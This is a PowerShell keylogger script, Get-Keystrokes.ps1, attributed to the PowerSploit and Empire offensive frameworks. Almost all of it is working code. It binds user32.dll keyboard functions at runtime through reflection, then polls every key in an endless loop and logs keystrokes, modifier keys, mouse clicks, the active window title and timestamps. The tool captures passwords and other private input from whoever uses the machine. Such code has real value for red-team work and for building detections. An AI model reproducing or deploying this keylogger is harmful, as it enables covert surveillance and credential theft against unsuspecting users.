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Get-Keystrokes.ps1
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Get-Keystrokes.ps1
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function Get-Keystrokes {
<#
.SYNOPSIS
Logs keys pressed, time and the active window (when changed).
Some modifications for Empire by @harmj0y.
PowerSploit Function: Get-Keystrokes
Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
Modifications: @harmj0y
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.LINK
http://www.obscuresec.com/
http://www.exploit-monday.com/
#>
[Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null
try
{
$ImportDll = [User32]
}
catch
{
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
$TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$FieldArray = [Reflection.FieldInfo[]] @(
[Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
[Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
[Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
[Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
[Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
[Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
)
$PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
$FieldValueArray = [Object[]] @(
'GetAsyncKeyState',
$True,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
$PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
$FieldValueArray = [Object[]] @(
'GetKeyboardState',
$True,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
$PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32]))
$FieldValueArray = [Object[]] @(
'MapVirtualKey',
$False,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
$PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
[Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
$FieldValueArray = [Object[]] @(
'ToUnicode',
$False,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
$PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
$FieldValueArray = [Object[]] @(
'GetForegroundWindow',
$True,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
$ImportDll = $TypeBuilder.CreateType()
}
$LastWindowTitle = ""
while ($true) {
Start-Sleep -Milliseconds 40
$gotit = ""
$Outout = ""
for ($char = 1; $char -le 254; $char++) {
$vkey = $char
$gotit = $ImportDll::GetAsyncKeyState($vkey)
if ($gotit -eq -32767) {
#check for keys not mapped by virtual keyboard
$LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
$RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
$LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
$RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
$LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
$RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
$TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
$SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
$DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
$EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
$BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
$LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
$RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
$UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
$DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
$LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
$RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000
if ($LeftShift -or $RightShift) {$Outout += '[Shift]'}
if ($LeftCtrl -or $RightCtrl) {$Outout += '[Ctrl]'}
if ($LeftAlt -or $RightAlt) {$Outout += '[Alt]'}
if ($TabKey) {$Outout += '[Tab]'}
if ($SpaceBar) {$Outout += '[SpaceBar]'}
if ($DeleteKey) {$Outout += '[Delete]'}
if ($EnterKey) {$Outout += '[Enter]'}
if ($BackSpaceKey) {$Outout += '[Backspace]'}
if ($LeftArrow) {$Outout += '[Left Arrow]'}
if ($RightArrow) {$Outout += '[Right Arrow]'}
if ($UpArrow) {$Outout += '[Up Arrow]'}
if ($DownArrow) {$Outout += '[Down Arrow]'}
if ($LeftMouse) {$Outout += '[Left Mouse]'}
if ($RightMouse) {$Outout += '[Right Mouse]'}
#check for capslock
if ([Console]::CapsLock) {$Outout += '[Caps Lock]'}
$scancode = $ImportDll::MapVirtualKey($vkey, 0x3)
$kbstate = New-Object Byte[] 256
$checkkbstate = $ImportDll::GetKeyboardState($kbstate)
$mychar = New-Object -TypeName "System.Text.StringBuilder";
$unicode_res = $ImportDll::ToUnicode($vkey, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)
#get the title of the foreground window
$TopWindow = $ImportDll::GetForegroundWindow()
$WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle
if ($unicode_res -gt 0) {
if ($WindowTitle -ne $LastWindowTitle){
# if the window has changed
$TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
$Outout = "`n`n$WindowTitle - $TimeStamp`n"
$LastWindowTitle = $WindowTitle
}
$Outout += $mychar.ToString()
$Outout
}
}
}
}
}